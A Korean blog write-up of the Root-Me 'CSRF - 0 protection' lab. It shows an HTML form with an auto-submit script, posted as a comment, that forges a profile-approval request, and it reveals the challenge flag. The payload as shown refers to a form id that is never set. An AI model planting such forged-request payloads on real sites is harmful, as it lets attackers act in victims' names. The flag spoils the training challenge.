본문 바로가기

WARGAME/root-me : web-client [web]

root-me : web-client / 10) CSRF - 0 protection [write-up]

 

 

 

이번엔 csrf 문제!

xss 문제를 풀기 전에 복습을 하고 진행 했듯이csrf 도 간단하게 복습하고 풀어보자.

 

 

 

 

 

* CSRF

: cross site requery forgery

: 공격자가 다른 사용자의HTTP 요청을 위조하는 공격

: 그 예로는 이메일 전송 위조 방법이 있다. 

<img> 태그 - 원래는 이미지 파일을 링크하는데 이용되지만, src 속성으로 설정되는 어떠한URI도 링크하는데 이용될 수 있다는 점에서 xss csrf 공격에 자주 사용.

 

 

 

 

 

이제 문제를 풀어보자.

개발자 도구에서 확인해본 결과 단서 같은 것은 따로 없었고필드에 맞추어 회원가입을 하고 로그인을 하면

 

 

 

 

 

이런 화면으로 바뀌게 된다Contact 를 눌러본다.

 

 

 

 

 

 

내 이메일 주소와 첨부할 내용을 작성해서 제출하는 것 같다.

 

 

 

 

 

 

Profile Private를 각각 눌러보면,

Profile
Private

내 계정이 아직 승인되지 않았으니 기다리라는 문구가 있다.

 

 

 

 

 

전혀 감이 오지 않아서 구글링을 통해 문제 풀이에 대한 힌트를 얻었다.

우선 profile 에서 status  disabled 되어있기 때문에 이 부분을 checked 되도록 수정하면 되는 것 같은데..

 

단순하게 개발자 도구에서 disabled checked 로 바꾸어 본 결과는

희희,.,, 똑똑한 녀석

 

 

 

 

 

 

따라서 Contact  comment 영역을 활용해서 변경해야한다.

Profile 에서 form 필드만 긁어온 후

form 헤더와 username status input 필드만 남겨두고 지워준다.

이때 status에서 disabled를 지우고 checked 로 변경.

 

또 헤더부분에 url에는 profile 페이지의 full url 을 입력.

<form action=“http://challeng01.root-me.org/web-client/ch22/?action=profile” method=“post” enctype=“multipart/form-data”>

             <input type=“text” name=“username” value=“aaa”>

            <input type=“checkbox’ name=“status” checked>

</form>

그리고 submit 을 한다.

 

 

 

 

 

 

그러나 private 페이지에서 아무리 새로고침을 해도 flag 를 얻을 수 없었다.

그래서 document.getElementById(“html헤더 id”).submit 를 이용해서 우리가 조작한 form 태그에 접근하도록 해야한다는 것을 알게 되었다.

 

 

 

 

 

 

 

<form action=“http://challeng01.root-me.org/web-client/ch22/?action=profile” method=“post” enctype=“multipart/form-data”>                    

                    <input type="text" name="username" value="aaa">

                    <input type="checkbox" name="status" checked>

</form> <script>document.getElementById("csrf").submit()</script>

 

 

 

 

 

 

submit 한 후 private 페이지로 이동하면 flag 획득!

flag : Csrf_Fr33style-L3v3l1!

 진짜 문제가 점점 어려워지고 있는듯 하다.

 

 

 

 

 

참고 - https://www.youtube.com/watch?v=h20uy8douvw